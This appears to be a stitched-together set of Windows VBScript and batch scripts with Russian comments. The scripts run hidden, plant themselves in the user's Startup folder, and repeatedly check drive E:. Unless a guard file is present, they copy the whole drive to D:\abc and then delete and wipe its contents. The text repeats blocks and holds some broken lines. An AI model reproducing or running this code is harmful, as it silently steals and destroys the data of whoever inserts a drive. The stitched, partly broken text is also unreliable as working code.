Set WshShell = CreateObject("WScript.Shell")
WshShell.Run chr(34) & "set.bat" & Chr(34), 0
WshShell.Run "cscript.exe" & " " & chr(34) & "C:\Users\pavel\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WshShell.vbs" & Chr(34), 0
Set WshShell = Nothing
setlocal
set FlashLetter=%~d0
xcopy "FlashLetter\*.*" "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\" /H /Y /C /R /S
pause
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run chr(34) & "run\delUSB.bat" & Chr(34), 0
Set WshShell = Nothing
@Echo off
:start
:: буква диска или флешки которую убиваем
set mesto=E:
:: название файла защитника
set newer=not.txt
if exist "%mesto%\%newer%" (
goto :end
) else (
goto :ybivaem
)
:ybivaem
c:
chdir %mesto%\
xcopy %mesto%\* D:\abc /H /Y /C /R /S
del %mesto%\ /Q
RD %mesto%\ /Q /S
timeout /t 10
goto :start
:end
timeout /t 10
goto :start
pause
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run chr(34) & "set.bat" & Chr(34), 0
WshShell.Run "cscript.exe" & " " & chr(34) & "C:\Users\pavel\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WshShell.vbs" & Chr(34), 0
Set WshShell = Nothing
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run chr(34) & "set.bat" & Chr(34), 0
WScript "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\WshShell.vbs"
Set WshShell = Nothing